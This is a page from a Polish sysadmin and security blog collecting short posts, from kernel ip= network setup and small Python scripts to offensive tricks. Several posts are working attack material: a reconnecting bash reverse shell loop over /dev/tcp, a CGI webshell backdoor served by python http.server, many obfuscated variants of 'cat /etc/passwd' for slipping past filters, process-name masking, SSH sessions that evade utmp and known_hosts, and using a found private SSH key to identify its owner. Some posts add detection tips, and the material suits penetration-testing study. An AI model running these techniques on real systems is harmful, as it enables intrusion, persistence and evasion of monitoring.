NFsec Logo

Dynamic Host Configuration Protocol Daemon bez DHCPd

25/02/2026 (2 dni temu) w Administracja, Hacks & Scripts Możliwość komentowania Dynamic Host Configuration Protocol Daemon bez DHCPd została wyłączona

A

gdybym Ci powiedział, że Linux nie potrzebuje żadnego zewnętrznego klienta DHCP, menedżera sieciowego ani innego narzędzia do konfiguracji sieci, aby skutecznie przeprowadzić proces konfiguracji jednego interfejsu sieciowego na dowolnym serwerze? Wystarczy tylko jądro i bootloader. W dodatku metoda ta jest kompatybilna wstecz aż do wersji Linuksa 2.0 z 1996 roku. Mowa tutaj o mechanizmie nfsroot, który pierwotnie został stworzony dla stacji bezdyskowych, a zawarty w nim parametr jądra ip= to przydatne narzędzie, które może w różnych sytuacjach pomóc skonfigurować sieć bez dodatkowego oprogramowania. Jeśli dobrze się wczytamy to dokumentacja nfsroot definiuje składnię parametru ip=, który poinstruuje jądro, jak skonfigurować wybrany interfejs sieciowy podczas startu systemu. Choć nazwa sugeruje powiązanie z NFS (ang. Network File System), mechanizm ten działa niezależnie od tego, czy ostatecznie zamontujemy system plików przez sieć. Jego składnia jest bardzo prosta:

ip=[klient]:[server]:[brama]:[maska]:[host]:[interfejs]:[autokonf]:[dns0]:[dns1]:[ntp0]

Gdzie:

  • klient – to adres IP jaki chcemy przypisać interfejsowi sieciowemu.
  • server – adres IP serwera NFS (możemy pominąć, jeśli nie montujemy systemu plików).
  • brama – adres IP bramy sieciowej odpowiedzialnej za dostęp do sieci / internetu.
  • maska – maska sieciowa definiująca do jakiej podsieci należy adres IP z pola klient.
  • host – nazwa hosta / serwera.
  • interfejs – nazwa interfejsu sieciowego, dla którego chcemy skonfigurować adresację sieciową.
  • autokonf – określa jakim protokołem skonfigurować interfejs: dhcp, bootp, rarp lub off (statycznie).
  • dns0 – adres pierwszego serwera DNS (działa tylko serwerem NFS), który pojawi się w /proc/net/pnp.
  • dns1 – adresu drugiego serwera DNS (działa tylko serwerem NFS), który pojawi się w /proc/net/pnp.
  • ntp0 – adres serwera NTP, który pojawi się w /proc/net/ipconfig/ntp_servers.

Przykłady:

GRUB_CMDLINE_LINUX="ip=192.168.254.2::192.168.254.1:255.255.255.0:darkstar:enp0s8:off:::"

Ustawi na interfejsie enp0s8 statyczny adres IP: 192.168.254.2/24, którego bramą sieciową jest: 192.168.254.1. Jeśli nie podamy nazwy interfejsu sieciowego zostanie wybrany pierwszy interfejs w systemie.

GRUB_CMDLINE_LINUX="ip=:::::enp0s8:dhcp:::"

Skonfiguruje interfejs enp0s8 za pomocą protokołu DHCP. Jeśli nie podamy nazwy interfejsu sieciowego zostanie wybrany pierwszy interfejs w systemie. Natomiast jeśli posiadamy tylko jeden interfejs to sprawa uproszcza się do krótkiego wpisu:

GRUB_CMDLINE_LINUX="ip=dhcp"

Fraza GRUB_CMDLINE_LINUX w powyższych przykładach pojawia się nie bez powodu, ponieważ zastosowanie tej metody w systemie (np. Debian / Ubuntu) wymaga zmodyfikowania parametrów startowych w programie rozruchowym GRUB. Poprzez edycję pliku: /etc/default/grub i dopisanie do linii GRUB_CMDLINE_LINUX odpowiednio dobranego parametru ip= aktywujemy mechanizm przy starcie systemu. Po edycji i zapisie w/w pliku wymagana jest aktualizacja konfiguracji GRUB:

sudo update-grub

Należy tylko pamiętać, że sterownik karty sieciowej musi być wkompilowany w jądro systemu lub dostępny w obrazie initrd/initramfs.

Więcej informacji: Setting a Static IP Address Using the Kernel Command Line, Kernel-only network configuration on Linux

Unikalne linie z dwóch plików w języku Python

06/04/2025 w Hacks & Scripts Możliwość komentowania Unikalne linie z dwóch plików w języku Python została wyłączona

Powrównując różne dane w języku Python, ze względu na wydajność najlepiej użyć do tego zbiorów. Zbiory są zaimplementowane przy użyciu tablic mieszających. Za każdym razem, gdy dodajemy obiekt do zbioru, pozycja w pamięci obiektu zbioru jest określana przy użyciu funkcji skrótu obiektu, który ma zostać dodany. Podczas testowania przynależności obiektu, wszystko co należy zrobić, to sprawdzić, czy obiekt znajduje się na pozycji określonej przez jego funkcję skrótu (ang. hash) – dlatego szybkość tej operacji nie zależy od rozmiaru zestawu danych. W przypadku list jest odwrotnie – cała lista musi zostać przeszukana, co stanie się wolniejsze wraz ze wzrostem tej listy. Przykładem może być szukanie unikalnych linii występujących w pierwszym pliku w porównaniu z drugim plikiem:

#!/usr/bin/env python3

import argparse

def uniq_lines(file1, file2, file3):
    try:
        with open(file1, 'r') as f1, open(file2, 'r') as f2, open(file3, 'w') as f3:
            file2_lines = set(line.strip() for line in f2)
            print(file2_lines)
            for line in f1:
                if line.strip() not in file2_lines:
                    f3.write(line)
    except FileNotFoundError:
        print('Error: One of the files was not found.')
    except IOError:
        print('Error: An I/O error occurred while reading the files.')
    print(f'Unique lines from {file1} compared with {file2} written to {file3}.')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        prog='UniqLines.py',
        description='Compare two files and write unique lines to a third file.')
    parser.add_argument('file1', help='The first file.')
    parser.add_argument('file2', help='The second file.')
    parser.add_argument('file3', help='The third file to write unique lines to.')
    args = parser.parse_args()
    uniq_lines(args.file1, args.file2, args.file3)

Wszystkie unikalne linie zapisywane są do trzeciego pliku.

Prosty trick, aby ukryć prawdziwą nazwę procesu

27/10/2024 w CmdLineFu, Hacks & Scripts Możliwość komentowania Prosty trick, aby ukryć prawdziwą nazwę procesu została wyłączona

// sleeper.c

#include <stdio.h>
#include <unistd.h>

int main()
{

    sleep(60);
    printf("Infecting Linux Host.");
    return 0;
}
agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
    PID TTY      STAT   TIME COMMAND
   4925 ?        Ss     0:00 /lib/systemd/systemd --user
   4926 ?        S      0:00 (sd-pam)
   4988 ?        R      0:00 sshd: agresor@pts/0
   4989 pts/0    Ss     0:00 -bash
   5354 pts/0    S      0:00 /lib/systemd/systemd --abuse
   5357 pts/0    R+     0:00 ps x

Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:

agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper

Więcej informacji: Why isn’t `exec -a` working the way I expect?

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Możliwość komentowania Zaciemnianie poleceń w powłoce bash została wyłączona

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

SOConda – ekstrakcja załącznika z pliku .eml

22/03/2024 w Hacks & Scripts Możliwość komentowania SOConda – ekstrakcja załącznika z pliku .eml została wyłączona

Jak wyodrębnić załącznik z przesłanego pliku .eml do analizy?

agresor@soconda:~$ python3 -m venv emls
(emls) agresor@soconda:~$ source emls/bin/activate
(emls) agresor@soconda:~$ pip install eml-extractor
Collecting eml-extractor
  Using cached eml_extractor-0.1.1-py3-none-any.whl.metadata (3.3 kB)
Using cached eml_extractor-0.1.1-py3-none-any.whl (4.7 kB)
Installing collected packages: eml-extractor
Successfully installed eml-extractor-0.1.1

(emls) agresor@soconda:~$ du -k analyze_me.eml
25684	analyze_me.eml

(emls) agresor@soconda:~$ eml-extractor -f analyze_me.eml
PROCESSING FILE "analyze_me.eml"
>> Attachment found: malware_sample.zip
>> Saving attachment to "/home/agresor/Analyze Me/malware_sample.zip"
Done.

(emls) agresor@soconda:~$ du -k Analyze\ Me/malware_sample.zip
18668   Analyze\ Me/malware_sample.zip

Więcej informacji: EML Extractor

Python – szybkie dopasowanie adresu IP do klasy CIDR

29/07/2022 w Hacks & Scripts Możliwość komentowania Python – szybkie dopasowanie adresu IP do klasy CIDR została wyłączona

python3 -m pip install cidr-trie
>>> from cidr_trie import PatriciaTrie

>>> ip_owner = PatriciaTrie()
>>> ip_owner.insert("10.0.0.0/8", "LAN-A")
>>> ip_owner.insert("172.16.0.0/12", "LAN-B")
>>> ip_owner.insert("192.168.0.0/16", "LAN-C")
>>> ip_owner.insert("192.168.1.0/24", "LAN-C-Office-Toronto")
>>> ip_owner.insert("104.16.0.0/12", "Internet-Cloudflare")
>>> ip_owner.insert("31.171.152.0/22", "Internet-HostileVPN")

>>> ip_owner.find_all("31.171.152.25")
[('31.171.152.0/22', 'Hostile VPN')]
>>> ip_owner.find_all("192.168.1.13")
[('192.168.0.0/16', 'LAN-C'), ('192.168.1.0/24', 'LAN-C-Office-Toronto')]
>>> ', '.join((v[1] for v in ip_owner.find_all("192.168.1.13")))
'LAN C, LAN-C-Office-Toronto'

Więcej informacji: Skompresowane drzewo trie, Store CIDR IP addresses (both v4 and v6) in a trie for easy lookup

Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie

24/04/2021 w Hacks & Scripts Możliwość komentowania Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie została wyłączona

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

Do kogo należy prywatny klucz SSH?

26/03/2021 w Hacks & Scripts Możliwość komentowania Do kogo należy prywatny klucz SSH? została wyłączona

Znalazłeś w repozytorium X prywatny klucz SSH i chciałbyś się dowiedzieć do kogo należy? Nic prostszego:

ssh -i znajda.key git@github.com
Warning: Permanently added 'github.com' (RSA) to the list of known hosts.
PTY allocation request failed on channel 0
Hi nfsec! You've successfully authenticated, but GitHub does not provide shell access.
Connection to github.com closed.

Działa również z gitlab.com, bitbucket.org i zapewne innymi.

Więcej informacji: GNU/JUSTIN

Prawie niewidzialne SSH

25/02/2021 w Hacks & Scripts Możliwość komentowania Prawie niewidzialne SSH została wyłączona

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"

Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who (zalogowanych użytkowników). Pominie również takie pliki, jak .profile oraz .bash_profile, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:

agresor@darkstar:~$ w
w
 22:44:35 up 11 min,  1 user,  load average: 0.05, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                22:37    5:15   0.04s  0.03s -bash
agresor@darkstar:~$ who
who
root    tty1         2021-02-25 22:37

Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:

agresor@darkstar:~$ ss -t
ss -t
State   Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process
ESTAB   0        0           192.168.56.2:ssh      192.168.56.1:49998

Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:

agresor@darkstar:~$ loginctl | grep -v pts
SESSION  UID USER    SEAT TTY
      3 1000 agresor

3 sessions listed.

agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
           Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
          Leader: 1880 (sshd)
          Remote: 127.0.0.1
         Service: sshd; type tty; class user
           State: active
            Unit: session-3.scope
                  ├─1880 "sshd: agresor [priv]"
                  ├─1927 "sshd: agresor@notty" ""
                  └─1928 bash -i

Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.

agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
                    | grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
  └─bash,1928 -i

Więcej informacji: man ssh

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist